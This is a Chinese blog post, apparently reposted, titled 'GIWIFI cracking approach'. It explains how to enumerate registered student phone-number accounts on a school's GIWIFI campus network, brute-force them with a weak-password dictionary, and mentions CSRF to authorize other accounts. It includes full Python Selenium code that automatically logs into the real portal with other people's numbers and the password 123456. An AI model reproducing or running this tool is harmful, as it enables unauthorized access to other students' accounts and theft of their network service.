GIWIFI 破解思路

您所在的位置:网站首页 giwifi体验卡序列号和密码 GIWIFI 破解思路

GIWIFI 破解思路

2023-08-29 19:12| 来源: 网络整理| 查看: 265

发现思路: 账号:

1、我所在的学校使用 GIWIFI 的校园网解决方案,登陆账号为学生本人的手机号。学校学生使用的手机号均为学校内运营商入学时发放的校园卡,均处在一个号段,每个账号每天拥有 15 分钟的免费时长。 2、手机号如果注册过 GIWIFI,正确登陆后便可使用互联网服务。如果账号未注册 GIWIFI,使用任意密码登录后便会要求填写身份信息。根据这项区别便可使用手机号段字典爆破出注册过的账号。

密码:

GIWIFI 官方要求使用的密码为 6 位及以上,所以使用弱口令字典进行爆破。

登陆:

有了账号和密码,便需要解决登陆问题。我的思路是使用 python 进行自动登录。同时可以使用 CSRF 攻击实现越权对其他账号上网状态进行授权

实现过程: 1、使用 python 的 webdriver 库,自动打开校园网的登陆链接。 wd = webdriver.Chrome() wd.implicitly_wait(10) wd.set_page_load_timeout(10) wd.get("http://login.gwifi.com.cn/cmps/admin.php/api/login/? gw_address=172.16.1.5&gw_port=8060&gw_id=GWIFI-qingdaoshankedaD2&ip=172.17.142.232&mac=F0:18:98:19:70:D9&url=http://www.baidu.com?ua=Mozilla&apmac=00:0b:ab:f1:c6:d4&ssid=") wd.maximize_window()

最后一行代码指定 python 调用浏览器后的显示方式为最大化,如果要静默使用可以将 maximize 换成 minimize

2、传递用户名密码参数,并点击登陆 name_input = wd.find_element_by_id('first_name') # 找到用户名的框框. pass_input = wd.find_element_by_id('first_password') login_button = wd.find_element_by_id('first_button') name_input.clear() name_input.send_keys(phonenumber[0]) # 填写用户名 time.sleep(0.2) pass_input.clear() pass_input.send_keys(123456) # 填写密码 time.sleep(0.2) login_button.click() # 点击登录 wd.implicitly_wait(4) wd.quit() 3、其他工作

·关于用户名密码,我选择的方式是存在文件里,然后使用 python 读文件的方式向网页中传递参数。 ·关于 wd 库,之所以选择 wd 库是因为这样可以看到登陆的状态,若果选择通过 requests 库直接传递参数,便不会在第一时间发现网络连接不通畅和详细的问题。 ·关于自动登录,使用 sh 的 ping 命令原理,新建脚本,每五分钟运行一次,断网后自动调用 python 脚本。

全部代码: # -*- coding:utf-8 -*- from selenium import webdriver from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common.by import By import time # option=webdriver.ChromeOptions() # option.add_argument('--headless') # option.add_argument('--no-sandbox') # option.add_argument('--start-maximized') # wd = webdriver.Chrome(chrome_options=option) wd = webdriver.Chrome() wd.implicitly_wait(10) wd.set_page_load_timeout(10) wd.get("http://login.gwifi.com.cn/cmps/admin.php/api/login/?gw_address=172.16.1.5&gw_port=8060&gw_id=GWIFI-qingdaoshankedaD2&ip=172.17.142.232&mac=F0:18:98:19:70:D9&url=http://www.baidu.com?ua=Mozilla&apmac=00:0b:ab:f1:c6:d4&ssid=") wd.maximize_window() file = open("giwifi2.txt") phonenumber = file.readlines() for i in range(len(phonenumber)): phonenumber[i] = phonenumber[i].replace("\n","") pass # print(phonenumber[0]) # print(type(phonenumber)) """这段可以查看selenium的源码,属于smart wait""" name_input = wd.find_element_by_id('first_name') # 找到用户名的框框 pass_input = wd.find_element_by_id('first_password') login_button = wd.find_element_by_id('first_button') name_input.clear() name_input.send_keys(phonenumber[0]) # 填写用户名 time.sleep(0.2) pass_input.clear() pass_input.send_keys(123456) # 填写密码 time.sleep(0.2) login_button.click() # 点击登录 wd.implicitly_wait(4) wd.quit() print (phonenumber[0]) del phonenumber[0] file.close() file = open("giwifi2.txt", "w") for i in range(len(phonenumber)): file.write(phonenumber[i]) file.write("\n") pass file.close() print ("All Done") exit()


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3